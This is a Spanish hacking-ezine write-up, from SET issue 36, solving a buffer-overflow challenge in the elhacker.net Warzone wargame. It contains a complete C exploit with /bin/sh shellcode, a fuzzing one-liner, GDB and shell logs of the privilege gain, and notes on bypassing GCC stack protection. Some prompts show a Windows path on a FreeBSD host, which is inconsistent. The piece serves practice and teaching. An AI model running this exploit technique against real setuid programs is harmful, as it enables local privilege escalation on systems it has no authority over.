SET 39 Call For Papers

¿Eres un hacker? Si deseas pasar a formar parte de la historia del hacking hispano, colabora con la próxima edición de SET 39 enviándonos un artículo. No esperes más, esta es tu oportunidad de demostrar lo que sabes. Ayúdanos a construir una revista de hackers para hackers. SET Staff

3er Reto Torneo Shell Warzone (BoF)

      4542

Autor: blackngel
-[ 0x06 ]--------------------------------------------------------------------
-[ 3er Reto Torneo Shell Warzone (BoF) ]-------------------------------------
-[ by blackngel ]----------------------------------------------------SET-36--


          ^^
      *`* @@ *`*     HACK THE WORLD
     *   *--*   *    
          ##         by blackngel <blackngel1@gmail.com>
          ||                      <black@set-ezine.org>
         *  *
        *    *       (C) Copyleft 2009 everybody
       _*    *_


[-----]

Seguidamente explicaremos la solucion al 3o reto planteado por los creadores
del "Torneo Shell" de la Warzone ubicada en "elhacker.net". La informacion
que encontrareis a continuacion se expone con un mero caracter educativo.
Warzone, sus creadores y el autor de este documento no se hacen responsables
del uso o abuso que se le pueda dar a la misma. ¡Disfruten del juego!

[-----]

Con la experiencia de la primera y segunda prueba del Torneo, veran que esta
casi ha sido un regalo que nos han dejado para que reafirmemos conocimientos
y tengamos la mente medianamente despejada cuando lleguemos al 4o.

Manos a la obra:

En primer lugar entraremos en el directorio de la prueba "/usr/home/war/" y
listaremos sus ficheros:

[-----]

   C:/Users/NikiSanders/Desktop>cd ../war/
   C:/Users/NikiSanders/Desktop>ls -al
   total 38
   drwxr-x---   3 war   warzone2   512 Dec  3 18:26 .
   drwxr-xr-x 320 root  wheel     7168 Dec 14 07:35 ..
   -rw-r--r--   1 war   warzone    751 Nov 21 13:45 .cshrc
   -rw-r--r--   1 war   warzone    248 Nov 21 13:45 .login
   -rw-r--r--   1 war   warzone    158 Nov 21 13:45 .login_conf
   -rw-r-----   1 war   warzone    373 Nov 21 13:45 .mail_aliases
   -rw-r--r--   1 war   warzone    331 Nov 21 13:45 .mailrc
   drwxr-x---   2 war   OK1        512 Dec 12 21:38 .pass
   -rw-r--r--   1 war   warzone    766 Nov 21 13:45 .profile
   -rw-r--r--   1 war   warzone    276 Nov 21 13:45 .rhosts
   -rw-r--r--   1 war   warzone    975 Nov 21 13:45 .shrc
   -rw-r--r--   1 root  warzone2  1765 Dec  3 18:26 TORNEO.txt
   -rwxr-sr-x   1 war   OK1       6266 Nov 28 13:01 dejavu
   C:/Users/NikiSanders/Desktop>

[-----]

A tener en cuenta:

   - dejavu  -> Programa vulnerable.
   - .pass   -> Directorio objetivo que contiene nuestro “hash”.

Sabiendo entonces que no disponemos el codigo fuente. Lo normal sera ejecutar
el programa para ver como actua y si acepta parametros como entrada:

[-----]

   C:/Users/NikiSanders/Desktop>./dejavu
   Mas facil no se puede xD
   Se esperaban Parametros!!
   Uso:
            ./dejavu <algo>
   C:/Users/NikiSanders/Desktop>./dejavu WARZONE
   Mas facil no se puede xD
   Usted paso como parametro lo siguiente:

   WARZONE

[-----]

Bien, aqui esta la sorpresa. Cuando muchos de nosotros esperabamos encontrarnos
en esta prueba una vulnerabilidad de "format string", resulto ser que nos tenian
preparada otra clase de "buffer overflow" que debiamos intentar explotar.

* Si todavia no sabes de que va este tema, te recomiendo la lectura de la
  documentacion que hemos preparado para la 1a prueba.

Seguiremos los pasos clasicos:

Averiguamos la longitud del buffer que parece estar sobre los 1024 bytes.
Recordemos los caracteristicos multiplos de 16. Como sabemos nos basta con
ejecutar algo como:

   $ ./dejavu perl -e 'print "A"x1050;'

No tardaremos nada en ver un precioso "Segmentation Fault".

Bien, el segundo paso es intentar sobreescribir %eip para que apunte a una
direccion de memoria deseada donde estara esperando nuestra "Shellcode" para
ser ejecutada. Ya hemos visto como lograr este objetivo a traves de la linea
de comandos con la ayuda de "Perl".

Esta vez elaboraremos un exploit en lenguaje C para que al menos podamos
aprender algo nuevo y no ser tan vagos.

[-----]

#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define DEFAULT_OFFSET                       0
#define DEFAULT_BUFFER_SIZE                512
#define NOP                               0x90

char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
                   "\x68\x2f\x62\x69\x6e\x89\xe3\x50"
                   "\x54\x53\x50\xb0\x3b\xcd\x80";

unsigned long get_sp(void) {
     __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[])
{
   int i;
   char *buff, *ptr;
   long esp, ret, *addr_ptr;
   int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

   esp = get_sp(); /* %esp, posible direccion de retorno        */
   if (argc > 1) bsize = atoi(argv[1]); /* Tamaño del buffer    */
   if (argc > 2) offset = atoi(argv[2]); /* Desplazamiento      */
   if (argc > 3) esp = strtoul(argv[3], NULL, 0); /* %esp manual*/
   ret = esp - offset;

   fprintf(stderr, "Usage: %s<buff_size> <offset> <esp: 0xfff...>\n",argv[0]);
   fprintf(stderr, "ESP:0x%x     Offset: 0x%x   Return: 0x%x\n", esp, offset,
                                                                         ret);
   /* Reservamos memoria */
   if (!(buff = (char *)malloc(bsize))) {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   /* Rellenamos el buffer con la direccion de retorno */
   ptr = buff;
   addr_ptr = (long *) ptr;
   for (i = 0; i < bsize; i+=4)
      *(addr_ptr++) = ret;

   /* La primera mitad del buffer seran instrucciones NOP "0x90" */
   for (i = 0; i < bsize/2; i++)
      buff[i] = NOP;

   /* Copiar shellcode a partir de la mitad del buffer */
   ptr = buff + (bsize/2);
   for (i = 0; i < strlen(shellcode); i++)
      *(ptr++) = shellcode[i];

   buff[bsize - 1] = 0; /* Finalizar cadena con un caracter NULL */
   execl("../war/dejavu", "dejavu", buff,0); /* Lanzar el ataque */
}

[-----]

Bien, ya tenemos practicamente todo lo que necesitamos. Solo nos queda la
esperanza y la suerte, pero como todos sabemos hay que buscarla.

El programa anterior lo puedes compilar sin mas problemas en la linea de
comandos con:

   $ gcc exdejavu.c -o exdejavu

El exploit acepta 3 argumentos:

   1 – Tamaño del buffer a explotar.
   2 – Desplazamiento desde %esp.
   3 – Direccion manual de retorno.

Si ejecutas este programa con un unico argumento, es decir, el tamaño del
buffer (1024). Seguramente obtendras otro lindo "Segmentation Fault".

Bueno, aqui realmente me sucedieron unas cuantas cosas extrañas, al parecer el
programa estaba compilado con la version 4.1 de GCC, lo que implica que se ha
añadido una nueva medida de "Stack Protection" que segun indica la documentacion
hace unos cambios aleatorios en la pila y una reordenacion de las variables.

Al final se dara una idea sobre como saltar esta proteccion.

Por suerte para mi, mucha suerte, consegui explotar el programa de la forma
tradicional. ¿Como? Pues resulta que el problema podia ser solventado si
apuntabamos manualmente a la direccion correcta.

Ejecutando el exploit desde dentro de "GDB", y estableciendo ciertos parametros,
logre conseguir ejecutar una shell. Se muestra a continuacion:

[-----]

gblackngel@mac:~$ gdb
GNU gdb 6.1.1 [FreeBSD]
Copyright (C) 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU Gneral Public License, and
you are welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.

This GDB was configured as "i386-marcel-freebsd"...(no debugging symbols
found)...
(gdb) run 1029 5 0xbfbfebf8
Starting program: /usr/home/NikiSanders/ex2 1029 5 0xbfbfebf8
(no debugging symbols found)...(no debugging symbols found)...Usage:
/usr/home/NikiSanders/ex2 <buff_size> <offset> <esp: 0xfff...>
ESP:0Xxbfbfebf8  Offset: 0x5   Return: 0xbfbfebf3

Program received signal SIGTRAP, Trace/breakpoint trap.
0x0884a3e0 in ?? () from /libexec/ld-elf.so.1

(gdb)c
Continuing.
Dejavu?
Usted paso como parametro lo siguiente:

������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������1�1�P1�P�~1�Ph//shh/bin/��PTSP��뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�
뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿
�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�
뿿 �뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿

Program received signal SIGTRAP, Trace/breakpoing trap.
Cannot remove breakpoints because program is no longer writable.
It might be running in another process.
Further execution is probably impossible.
0x088643e0 in _rtld_thread_init () from /libexec/ld-elf.so.1

(gdb) c
Continuing
$ id
uid=7027(NikiSanders) gid=6001(warusers) groups=6001(warusers),5000(warzone),
5001(warzone1),5002(warzone2),5003(warzone3)
$

[-----]

En este punto debemos fijarnos en varias cosas:

Lo primero es que he ejecutamos el exploit con los parametros "1029", "5" y
"0xbfbfebf8". Bien, resulta que en principio, sin establecer la direccion
manualmente, obtenemos tambien la Shell. Pero si ejecutamos el mismo comando
desde fuera de GDB nos lanza directos a un "Segmentation Fault".

Entonces, ¿que es lo que ha cambiado?

Un comentario de cierta persona me hizo ver que a veces el valor de ESP cambia
cuando se ejecuta un exploit desde GDB o desde la Shell. Y es cierto, pues este
valor depende la mayoria de las veces del numero de procesos en ejecucion.

Entonces me fije que desde GDB decia: ESP = 0xbfbfebf8

Por otro lado, y en parte lo mas sorprendente para mi, es que desde GDB obtenia
la Shell pero sin los privilegios necesarios como para acceder al directorio
".pass". Pues observar que tras el comando "id", no obtenemos los permisos
precisos.

Pues nada, para no obtener el "Segmentation Fault" solo me quedaba intentar
ejecutar el exploit desde la misma Shell y utilizar la direccion que me habia
ofrecido directamente GDB. Seguidamente nuestro resultado:

[-----]

C:/Users/NikiSanders/Desktop>./ex2 1029 5 0xbfbfebf8
Usage: ./ex2 <buff_size> <offset> <esp: 0xfff...>
ESP:0xbfbfebf8   Offset: 0x5   Return: 0xbfbfebf3
Dejavu?
Usted paso como parametro lo siguiente:

������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������������������������������������������������������������������������
������������1�1�P1�P�~1�Ph//shh/bin/��PTSP��뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�
뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿
�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�
뿿 �뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿�뿿

$ id
uid=7027(NikiSanders) gid=6001(warusers) egid=6003(OK1) groups=6003(OK1),
6001(warusers),5000(warzone), 5001(warzone1),5002(warzone2),5003(warzone3)
$

[-----]

Ahora si. Observese la maravilla de: egid=6003(OK1) groups=6003(OK1)
Que mas se puede pedir... Ah si. Obtener nuestro preciado hash.

[-----]

$ cd /usr/home/war/
$ cat .leeme_7027
Enhorabuena usted ha pasado la Tercera prueba
Su clave de Acceso es:
No olvide registrar su password en /usr/home/warzone/validar
esto es para que se le habran los nuevos retos!!
Ademas no olvide volver al shell con el que inicio la prueba ;)
antes de ejecutar validar.

Hash: cb1736ad--------------389725c0fa
$

[-----]

Hemos logrado nuestro objetivo. Pero como prometi, aqui la idea de como saltar
la proteccion establecida por el compilador GCC-4.1. En realidad recomiendo
encarecidamente leer este Post [4], que podras encontrar en el foro de
"elHacker.net". Alli se describen algunos aspectos interesantes y las ciertas
ideas para salir del apuro.

En realidad la tecnica se basa en realizar un "doble salto". Si depuras con
GDB te daras cuenta que la mayoria de las veces consigues sobrescribir dos
registros diferentes de "%eip", estos son "%esp" y "%ecx".

Ocurre que el "%esp" es guardado en su momento en "%ecx" y posteriormente
es restaurado desde aqui para seguidamente retornar.

Se supone entonces que podemos sobrescribir "%esp" con la intencion de que
apunte a una direccion de memoria, que a su vez apunte a otra direccion de
memoria que contenga realmente nuestra Shellcode. ¿Necesitas que lo explique
un poco mas claro?

No hay problema, aqui un ejemplo aleatorio:

   %ecx = %esp =  0xbfbfc87a
   0xbfbfc87a  -> contiene -> 0xbfbfebf8
   0xbfbfebf8  =  Shellcode.

En resumen. Sobrescribimos "%esp" con "0xbfbfc87a", cuando realice este salto
se encuentra con que debe saltar nuevamente a "0xbfbfebf8", que definitivamente
ejecuta la Shellcode apropiada.

¿Como realizar esto?. Como comente en la documentacion de la 2a prueba del
torneo, lo mas facil suele ser utilizar los propios argumentos del programa
o incluso el entorno.

Podriamos establecer dos variables de entorno:

   SC1 = direccion de SC2
   SC2 = Shellcode.

Con esto utilizariamos el programa "./getenv" que creamos en la prueba
anterior para obtener sus direcciones en memoria. La direccion de SC2 la
metemos como contenido de SC1, y la direccion de SC1 es la que utilizariamos
para sobrescribir nuestro amigo "%esp".

Otra idea que se me ocurre es colocar nuestra Shellcode antecedida de unos
cuantos NOP's en la variable "argv[2]". Luego llenariamos todo el buffer con
su supuesta direccion en memoria e intentando ajustar el desplazamiento con
unas cuantas letras "A".

Recuerda que alcanzar "argv[2]" suele ser algo trivial cuando vamos
estableciendo diferentes offset's al valor que nos devuelve "get_esp()";

Lo que quiero que quede claro aqui, tal y como me dijo "Anon" en su momento,
es que la explotacion no es una ciencia exacta, y es el hecho de saber jugar
lo que nos puede aportar mayores beneficios. Lo importante es abrir tu mente,
buscar nuevas ideas, no tener miedo a preguntar, y leer, sobre todo leer
mucho...

Antes de acabar, debo decir que la tecnica de manipular "%esp" para uso o abuso,
ya fue descrita en su momento en el articulo de Phrack-55-8 [5] "Frame Pointer
Overwriting". En este paper se detalla como aun en situaciones donde solo un
byte puede ser sobreescrito ("%ebp"), puede ser aprovechado en beneficio para
manipular la direccion a la que apunta "%esp" cuando es restaurado a la salida
del programa.

Como adelanto, deciros que en SET-37 podreis disfrutar de un articulo titulado
"Jugando con Frame Pointer", alli comprendereis todos estos metodos y muchos
mas...



Referencias:

[1] "Smashing the Stack for Fun and Profit" by Aleph One
    http://doc.bughunter.net/buffer-overflow/smash-stack.html

[2] Desbordamiento de bufer
    http://es.wikipedia.org/wiki/Desbordamiento_de_b%C3%BAfer

[3] Introduccion a los Overflows en Linux X86_64
    http://www.enye-sec.org/textos/introduccion.a.los.overflows.en.linux.x86_
    64.txt

[4] No puedo sobreescribir EIP (linux)
    http://foro.elhacker.net/bugs_y_exploits/no_puedo_sobreescribir_eip_linux-
    t193202.0.html

[5] Frame Pointer Overwriting
    http://www.phrack.org/issues.html?issue=55&id=8#article


Por lo demas WARZONE te esta esperando! };-D

*EOF*